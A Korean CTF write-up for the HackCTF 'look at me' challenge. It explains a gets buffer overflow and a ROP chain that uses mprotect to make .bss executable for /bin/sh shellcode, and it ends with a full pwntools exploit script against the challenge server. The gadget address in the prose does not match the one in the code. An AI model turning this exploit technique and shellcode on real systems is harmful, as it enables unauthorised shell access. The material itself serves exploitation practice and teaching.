[Hack CTF - look at me]
Wargmae/HackCTF

[Hack CTF - look at me]

728x90

 

 

Execute

 

파일 실행

문제파일을 실행시키면 hellooooooooooo를 출력해주고 입력을 받는다. Dummy를 일정크기 이상 넣어주면 segmentaion fault가뜨는 것을 확인 할 수 있다.

 

 

Analyze

mitigation

NX bit가 걸려있고 나머지는 다 풀려있는 것을 확인 할 수 있다.

 

 

Main

 

main

getegid함수를 통해 v5변수에 effective group id를 넣어준다. 그리고 setresgid함수를 통해 v5를 인자로 주어 현재 프로세스의 real user id effective user id, saved set-user-id를 설정해준다. 그리고 look at me 함수를 호출한다.

 

 

Look at me

 

look at me

Get 함수가 보이는 것으로 보아 여기서 buffer overflow를 트리거 할 수 있을 것 같다. v1의 선언 위치가 ebp-0x18이고 32bit임로 0x18+x0x4dummyreturn address를 통제 할 수 있을 것이다.

 

 

 

solve

 

 

이제 flag를 확인 할 방법을 확인해야한다. 먼저 함수중에 flag를 출력해주거나 shell을 얻을 수 있는 함수가 있는지 확인 해보자.

 

함수 목록

함수의 종류가 굉장히 많이 보이는데 이는 해당 바이너리가 동적으로 링크된 것이 아닌 정적으로 링크되었기 때문이다. system함수 역시 없는 것을 확인 할 수 있다.

따라서 다른 방법을 생각 해야 하는데 nxbit를 우회할 수 있는 방법을 찾던중 mprotect함수를 확인 할 수 있었다.

 

 

해당함수는 원하는 코드 영역의 권한을 변경 할 수 있는 함수이다. 따라서 특정영역에 shellcode를 올려놓고 실행권한을 주면 shell을 얻을 수 있을 것이다.

 

 

int mprotect(void *addr, size_t len, int prot);

 

해당 함수로 addr에 원하는 주소를 넣고 len에 크기 prot에 권한을 주면 된다. 주의할 점은 addr0x1000의 배수로 인자를 전달 해 주어야한다.

 

이제 어떤 영역에 실행권한을 줘서 shellcode를 올릴지 생각해야한다. 현재 서버에 ASLR이 걸려있으므로 stack heap library영역에서는 랜덤하게 맵핑되서 주소를 구해줘야 한다. 따라서 앞서 PIE가 풀려있었으므로 bss영역에 shellcode를 올리면 될 것이다.

 

시나리오는 아래와 같다.

  • dummy를 통해 ret에 대한 제어권을 얻는다.
  • Retget함수를 넣는다.
  • Ret+4bssaddress를 넣는다.
  • Ret+8 pop ret 가젯을 넣는다.
  • Ret+12mprotect 함수를 넣는다.
  • Ret+16pop pop pop ret 가젯을 넣는다.
  • Ret+20bss_startaddress를 넣는다.
  • Ret+24에 크기를 넣어준다.
  • Ret+28에 권한값을 넣어준다. 7을 주면 rwx모두 들어간다.
  • Ret+32bss의 주소를 넣어준다.

 

이제 사용할 가젯 pop retpop pop pop ret를 구해보자.

Pop ret : 0x080681c0

 

Pop pop pop ret : 0x08063039

 

 

다음으로 bss영역의 address를 찾아야한다.

bss영역의 주소가 확인 된다.

이제 나머지 get함수의 addressmprotect함수의 address등은 pwntools를 통해 따로 구하지 않고 바로 사용할 것이다.

 

Payload의 구성을 다음과 같다.

Dummy(28byte)+get_addr+ pop ret + bss_addr + mprotect_addr + pop pop pop ret + bss_start + size+ rwx + bss

 

 

bss와 bss_start를 굳이 나눠서 사용하는 이유는 mprotect에서 addr인자는 0x1000의 배수여야 하기 떄문이다. Shellcode는 웹 상에 있는 32bit /bin/sh shellcode를 사용하였다.

 

Exploit은 아래와 같다.

 

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3017)
e = ELF('./lookatme')

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

mprotect = e.symbols['mprotect']
gets = e.symbols['gets']
bss = 0x080eaf80
bss_start = 0x080ea000
pr = 0x080681c0
pppr = 0x08053d80

payload = b"a"*28
payload += p32(gets)
payload += p32(pr)
payload += p32(bss)

payload += p32(mprotect)
payload += p32(pppr)
payload += p32(bss_start)
payload += p32(8000)
payload += p32(7)
payload += p32(bss)


r.sendline(payload)
r.sendline(shellcode)

r.interactive()

 

 

성공적으로 shell을 얻고 flag를 출력할수 있는 것을 확인 할 수 있다.

Nxbit를 우회할 수 있는 새로운 방법을 알아서 좋은 것 같다.

728x90

'Wargmae > HackCTF' 카테고리의 다른 글

[Hack CTF - RTL_core]  (0) 2021.01.16
[Hack CTF – poet]  (0) 2021.01.15
[Hack CTF - g++pwn]  (1) 2021.01.11
[Hack CTF - RTL_World]  (2) 2021.01.10
[Hack CTF - yes or no]  (0) 2021.01.09